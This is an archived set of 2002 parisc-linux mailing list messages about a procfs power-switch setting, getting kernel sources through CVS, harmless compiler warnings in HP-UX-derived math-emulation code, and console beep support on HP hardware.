X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:58 +0000 (UTC)
To: deller@gmx.de, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 16 02:27:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f124.law4.hotmail.com [216.33.149.124])
	by dsl2.external.hp.com (Postfix) with ESMTP id F22944847
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Apr 2002 02:27:35 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 16 Apr 2002 01:27:34 -0700
Original-Received: from 194.7.222.142 by lw4fd.law4.hotmail.msn.com with HTTP;
	Tue, 16 Apr 2002 08:27:33 GMT
X-Originating-IP: [194.7.222.142]
X-OriginalArrivalTime: 16 Apr 2002 08:27:34.0788 (UTC) FILETIME=[8F3C1C40:01C1E520]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14596

I'll try this tonight. Thanks.


>From: Helge Deller <deller@gmx.de>
>To: "Kenneth Westelinck" <kennywest1@hotmail.com>, 
>parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] not freeing initmem and power button
>Date: Tue, 16 Apr 2002 02:30:39 +0200
>
>On Monday 15 April 2002 13:59, Kenneth Westelinck wrote:
> > >The power-button should work if you update to a newer kernel (>=
> > >2.4.18-pa19).
> >
> > Cool, does this mean: if I push the button, the system will do a clean
> > shutdown? Or if I push the button, nothing happens?
> >
> > Is there an easy way to disable this.
>
>In Kernel 2.4.18-pa20 I've added a /proc/sys/kernel/power
>procfs entry which lets you enable/disable the soft power switch
>at runtime:
>
># echo 0 > /proc/sys/kernel/power		# disables the power switch
># echo 1 > /proc/sys/kernel/power		# enables the power switch
>
># cat /proc/sys/kernel/power
>Software power switch support: enabled (1)
>
>Or, you could of course also use sysctl program/interface.
>
>Greetings,
>Helge
>


enjoy life, enjoy linux,

Kenneth

_________________________________________________________________
Download MSN Explorer gratis van http://explorer.msn.nl/intl.asp.




From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Python Exception Occurred while trying to get via http
Date: Tue, 16 Apr 2002 09:37:08 -0600
Lines: 102
Approved: news@gmane.org
Message-ID: <E16xV12-0004AP-00@paul.bame>
References: <B940662D7541D6118ED300065B1A223CA01903@siepor43.siemens.pt>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621239 6264 80.91.229.3 (22 Nov 2014 01:53:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:59 +0000 (UTC)
Cc: cvsmaster@parisc-linux.org, parisc@parisc-linux.org
To: Manuel Fernandes <Manuel.Fernandes@lis2.siemens.pt>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 16 09:40:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B5B1482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Apr 2002 09:40:12 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel8.hp.com (Postfix) with ESMTP id 15AA2A008ED
	for <parisc-linux@parisc-linux.org>; Tue, 16 Apr 2002 11:40:11 -0400 (EDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP id E20194528
	for <parisc-linux@parisc-linux.org>; Tue, 16 Apr 2002 09:40:10 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 16xV3y-0004C9-00
	for <parisc-linux@parisc-linux.org>; Tue, 16 Apr 2002 09:40:10 -0600
Original-Received: from localhost ([127.0.0.1] ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 16xV2F-0004Ax-01
	for <bame@localhost>; Tue, 16 Apr 2002 09:38:23 -0600
Delivered-To: bame@ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com [15.1.50.190]
	by localhost with POP3 (fetchmail-5.9.10)
	for bame@localhost (single-drop); Tue, 16 Apr 2002 09:38:23 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by ldl.fc.hp.com (Postfix) with ESMTP id AE0A940A1
	for <bame@ldl.fc.hp.com>; Tue, 16 Apr 2002 09:37:29 -0600 (MDT)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [15.45.89.157])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 86BBE37F00
	for <bame@fc.hp.com>; Tue, 16 Apr 2002 09:37:29 -0600 (MDT)
Original-Received: from dsl2.external.hp.com (dsl2.external.hp.com [192.25.206.7])
	by atlrel9.hp.com (Postfix) with ESMTP id 32FA78051FD
	for <bame@fc.hp.com>; Tue, 16 Apr 2002 11:37:29 -0400 (EDT)
Original-Received: by dsl2.external.hp.com (Postfix)
	id 1CB19482B; Tue, 16 Apr 2002 09:37:19 -0600 (MDT)
Delivered-To: cvsmaster@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A4C84482A; Tue, 16 Apr 2002 09:37:18 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (linux-bugs.fc.hp.com [15.1.50.190])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 45991804CEC; Tue, 16 Apr 2002 11:37:10 -0400 (EDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 71E7C44CB; Tue, 16 Apr 2002 09:37:08 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 16xV12-0004AP-00; Tue, 16 Apr 2002 09:37:08 -0600
In-Reply-To: Your message of "Tue, 16 Apr 2002 13:23:06 BST."
             <B940662D7541D6118ED300065B1A223CA01903@siepor43.siemens.pt> 
X-UIDL: AF~"!7%g"!$HW"!f;=!!
Resent-To: parisc-linux@parisc-linux.org
Resent-Date: Tue, 16 Apr 2002 09:40:10 -0600
Resent-From: Paul Bame <bame@fc.hp.com>
Resent-Message-Id: <E16xV3y-0004C9-00@paul.bame>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14597

> Dear Sirs,
> =20
> I was trying to get the  sources from your site for release rel0_9 but =
> your
> server displayed the following exceptions (see below):
> Can you explain me how can I get the Linux sources for this version or =
> any
> other?

Hmmm, I see this is not obvious from our main web site...

Daily kernel source snapshots are available as tarballs from
http://ftp.parisc-linux.org/cvs

		    --or--

Follow the "ANONYMOUS CVS" setup instruction at http://cvs.parisc-linux.org/
and then use the command:

	cvs co -rrel0_9 linux

	           ------

Beware that rel0_9 is nearly a year old and generally it is better to
simply get the latest version either from the tarball or

	cvs co linux

I don't think we will support downloading sources through the
'viewcvs' web GUI.

	-Paul Bame

> =20
> Thanks in advance
> =20
> =20
> The explorer address was:
> http://cvs.parisc-linux.org/linux/linux.tar.gz?tarball=3D1
> <http://cvs.parisc-linux.org/linux/linux.tar.gz?tarball=3D1&only_with_ta=
> g=3Drel0
> _9> &only_with_tag=3Drel0_9
> 
> 
> 
> =20
> 
> =20
> 
> Python Exception Occurred
> 
>  [LOGO] <http://cvs.parisc-linux.org/images/htux.gif> =09
> Traceback (innermost last):
> 
>   File "/usr/share/viewcvs/lib/viewcvs.py", line 2516, in run_cgi
> 
>     main()
> 
>   File "/usr/share/viewcvs/lib/viewcvs.py", line 2502, in main
> 
>     download_tarball(request)
> 
>   File "/usr/share/viewcvs/lib/viewcvs.py", line 2424, in =
> download_tarball
> 
>     generate_tarball(fp, os.path.basename(directory), directory, tag)
> 
>   File "/usr/share/viewcvs/lib/viewcvs.py", line 2368, in =
> generate_tarball
> 
>     for file, pathname, isdir in get_file_data(directory + '/Attic'):
> 
>   File "/usr/share/viewcvs/lib/viewcvs.py", line 635, in get_file_data
> 
>     files =3D os.listdir(full_name)
> 
> OSError: [Errno 2] No such file or directory
> 
> 
> 
> 
> =20
> =20
> =20
> =20
> =20
> =20
> Best Regards,
> =AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=AD=
> =AD=AD=AD=AD=AD_________________________________________
> Manuel Fernandes
> Siemens SA - Portugal
> IC Information and Communications=20
> ON- Optical Networks
> Tel: +351 21 424 2081
> e-mail:  <mailto:manuel.fernandes@lis2.siemens.pt>
> manuel.fernandes@lis2.siemens.pt
> =20
> =20




From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.4.18-pa19 fpu problem
Date: Wed, 17 Apr 2002 11:02:54 +0200 (CEST)
Lines: 88
Approved: news@gmane.org
Message-ID: <1019034174.3cbd3a3e2c5a5@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621239 6266 80.91.229.3 (22 Nov 2014 01:53:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 03:03:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04F38482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 03:03:03 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16xlL4-00053F-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 11:02:54 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14598

Hi all,

Here is some trace I get from the kernel (2.4.18-pa19) make (after a make
oldconfig):
...
gcc -D__KERNEL__ -I/GNU-Dev/parisc-linux/src/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100   -DKBUILD_BASENAME=driver  -c -o driver.o driver.c
driver.c: In function `handle_fpe':
driver.c:103: warning: implicit declaration of function `decode_fpu'
gcc -D__KERNEL__ -I/GNU-Dev/parisc-linux/src/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100   -DKBUILD_BASENAME=decode_exc  -c -o decode_exc.o decode_exc.c
decode_exc.c: In function `decode_fpu':
decode_exc.c:168: warning: implicit declaration of function `fpudispatch'
decode_exc.c:239: warning: implicit declaration of function `sgl_denormalize'
decode_exc.c:251: warning: implicit declaration of function `dbl_denormalize'
decode_exc.c:304: warning: suggest parentheses around arithmetic in operand of |
decode_exc.c:350: warning: implicit declaration of function `printk'
gcc -D__KERNEL__ -I/GNU-Dev/parisc-linux/src/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100   -DKBUILD_BASENAME=fpudispatch  -c -o fpudispatch.o fpudispatch.c
fpudispatch.c: In function `decode_0c':
fpudispatch.c:365: warning: implicit declaration of function `sgl_fsqrt'
fpudispatch.c:368: warning: implicit declaration of function `dbl_fsqrt'
fpudispatch.c:377: warning: implicit declaration of function `sgl_frnd'
fpudispatch.c:380: warning: implicit declaration of function `dbl_frnd'
fpudispatch.c:409: warning: implicit declaration of function `sgl_to_dbl_fcnvff'
fpudispatch.c:412: warning: implicit declaration of function `dbl_to_sgl_fcnvff'
fpudispatch.c:420: warning: implicit declaration of function `sgl_to_sgl_fcnvxf'
fpudispatch.c:423: warning: implicit declaration of function `sgl_to_dbl_fcnvxf'
fpudispatch.c:426: warning: implicit declaration of function `dbl_to_sgl_fcnvxf'
fpudispatch.c:429: warning: implicit declaration of function `dbl_to_dbl_fcnvxf'
fpudispatch.c:435: warning: implicit declaration of function `sgl_to_sgl_fcnvfx'
fpudispatch.c:438: warning: implicit declaration of function `sgl_to_dbl_fcnvfx'
fpudispatch.c:441: warning: implicit declaration of function `dbl_to_sgl_fcnvfx'
fpudispatch.c:444: warning: implicit declaration of function `dbl_to_dbl_fcnvfx'
fpudispatch.c:450: warning: implicit declaration of function `sgl_to_sgl_fcnvfxt'
fpudispatch.c:453: warning: implicit declaration of function `sgl_to_dbl_fcnvfxt'
fpudispatch.c:456: warning: implicit declaration of function `dbl_to_sgl_fcnvfxt'
fpudispatch.c:459: warning: implicit declaration of function `dbl_to_dbl_fcnvfxt'
fpudispatch.c:465: warning: implicit declaration of function `sgl_to_sgl_fcnvuf'
fpudispatch.c:468: warning: implicit declaration of function `sgl_to_dbl_fcnvuf'
fpudispatch.c:471: warning: implicit declaration of function `dbl_to_sgl_fcnvuf'
fpudispatch.c:474: warning: implicit declaration of function `dbl_to_dbl_fcnvuf'
fpudispatch.c:480: warning: implicit declaration of function `sgl_to_sgl_fcnvfu'
fpudispatch.c:483: warning: implicit declaration of function `sgl_to_dbl_fcnvfu'
fpudispatch.c:486: warning: implicit declaration of function `dbl_to_sgl_fcnvfu'
fpudispatch.c:489: warning: implicit declaration of function `dbl_to_dbl_fcnvfu'
fpudispatch.c:495: warning: implicit declaration of function `sgl_to_sgl_fcnvfut'
fpudispatch.c:498: warning: implicit declaration of function `sgl_to_dbl_fcnvfut'
fpudispatch.c:501: warning: implicit declaration of function `dbl_to_sgl_fcnvfut'
fpudispatch.c:504: warning: implicit declaration of function `dbl_to_dbl_fcnvfut'
fpudispatch.c:540: warning: implicit declaration of function `sgl_fcmp'
fpudispatch.c:547: warning: implicit declaration of function `dbl_fcmp'
fpudispatch.c:622: warning: implicit declaration of function `sgl_fadd'
fpudispatch.c:625: warning: implicit declaration of function `dbl_fadd'
fpudispatch.c:634: warning: implicit declaration of function `sgl_fsub'
fpudispatch.c:637: warning: implicit declaration of function `dbl_fsub'
fpudispatch.c:646: warning: implicit declaration of function `sgl_fmpy'
fpudispatch.c:649: warning: implicit declaration of function `dbl_fmpy'
fpudispatch.c:658: warning: implicit declaration of function `sgl_fdiv'
fpudispatch.c:661: warning: implicit declaration of function `dbl_fdiv'
fpudispatch.c:670: warning: implicit declaration of function `sgl_frem'
fpudispatch.c:673: warning: implicit declaration of function `dbl_frem'
fpudispatch.c: In function `decode_2e':
fpudispatch.c:1354: warning: implicit declaration of function `dbl_fmpynfadd'
fpudispatch.c:1357: warning: implicit declaration of function `dbl_fmpyfadd'
fpudispatch.c:1376: warning: implicit declaration of function `sgl_fmpynfadd'
fpudispatch.c:1379: warning: implicit declaration of function `sgl_fmpyfadd'
...

I do think that lacks a header to define some function.

Thanks in advance for help,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.18-pa19 fpu problem
Date: Wed, 17 Apr 2002 12:32:11 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020417123211.L23804@parcelfarce.linux.theplanet.co.uk>
References: <1019034174.3cbd3a3e2c5a5@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621239 6267 80.91.229.3 (22 Nov 2014 01:53:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 05:32:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33A29482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 05:32:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16xnfX-0005jQ-00; Wed, 17 Apr 2002 12:32:11 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1019034174.3cbd3a3e2c5a5@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Apr 17, 2002 at 11:02:54AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14599

On Wed, Apr 17, 2002 at 11:02:54AM +0200, joel.soete@freebel.net wrote:
> Here is some trace I get from the kernel (2.4.18-pa19) make (after a make
> oldconfig):
...
> I do think that lacks a header to define some function.

this code is crufty old HPUX stuff... the warnings have been there
basically forever, and nobody's bothered to fix them.  Nobody's found a
problem either :-) If you want to eliminate these warnings by declaring
everything properly, feel free to send a patch, but I don't think it's
very important.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Wed, 17 Apr 2002 10:09:27 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0204171004120.9608-100000@mojo.calyx.net>
References: <Pine.LNX.4.33.0204041723170.28627-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621240 6272 80.91.229.3 (22 Nov 2014 01:54:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:00 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 08:09:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 105BE482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 08:09:30 -0600 (MDT)
Original-Received: (qmail 2105 invoked from network); 17 Apr 2002 14:09:28 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (gtioqcadnrksltke4bin@216.82.160.22)
  by mail.calyx.com with SMTP; 17 Apr 2002 14:09:28 -0000
In-Reply-To: <Pine.LNX.4.33.0204041723170.28627-100000@bob.ncssm.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14600

For machines with the i8042 SDC tone generator (and which do not
currently have a HIL keyboard in use, as the new drivers for that
are not checked into CVS yet) implementing console beeping support using
the new hpd_sdc module should be trivial.  If anyone is interested in
doing so, contact me and I'll give some pointers.

(Sorry for the delay on HIL stuff BTW, I've just been too busy
lately to tuck all the corners and check it in.)

--
Brian S. Julin






From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.18-pa19 fpu problem
Date: Wed, 17 Apr 2002 08:42:16 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <E16xqdU-0001WN-00@paul.bame>
References: <1019034174.3cbd3a3e2c5a5@webmail.tiscalinet.be>  <20020417123211.L23804@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621240 6275 80.91.229.3 (22 Nov 2014 01:54:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 08:42:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEC1B482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Apr 2002 08:42:17 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel9.hp.com (Postfix) with ESMTP id A4AE7805600
	for <parisc-linux@parisc-linux.org>; Wed, 17 Apr 2002 10:42:16 -0400 (EDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP id 5778C43A0
	for <parisc-linux@parisc-linux.org>; Wed, 17 Apr 2002 08:42:16 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 16xqdU-0001WN-00
	for <parisc-linux@parisc-linux.org>; Wed, 17 Apr 2002 08:42:16 -0600
In-Reply-To: Your message of "Wed, 17 Apr 2002 12:32:11 BST."
             <20020417123211.L23804@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14601

> On Wed, Apr 17, 2002 at 11:02:54AM +0200, joel.soete@freebel.net wrote:
> > Here is some trace I get from the kernel (2.4.18-pa19) make (after a make
> > oldconfig):
> ...
> > I do think that lacks a header to define some function.
> 
> this code is crufty old HPUX stuff... the warnings have been there
> basically forever, and nobody's bothered to fix them.  Nobody's found a
> problem either :-) If you want to eliminate these warnings by declaring
> everything properly, feel free to send a patch, but I don't think it's
> very important.

Here's the README in the math-emu directory which describes why we
leave the warnings in:

"All files except driver.c are snapshots from the HP-UX kernel.  They've
 been modified as little as possible.  Even though they don't fit the
 Linux coding style, please leave them in their funny format just in case
 someone in the future, with access to HP-UX source code, is generous
 enough to update our copies with later changes from HP-UX -- it'll
 make their 'diff' job easier if our code is relatively unmodified.



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.18-pa19 fpu problem
Date: Wed, 17 Apr 2002 16:44:55 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20020417164455.M23804@parcelfarce.linux.theplanet.co.uk>
References: <1019034174.3cbd3a3e2c5a5@webmail.tiscalinet.be> <20020417123211.L23804@parcelfarce.linux.theplanet.co.uk> <E16xqdU-0001WN-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621240 6278 80.91.229.3 (22 Nov 2014 01:54:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
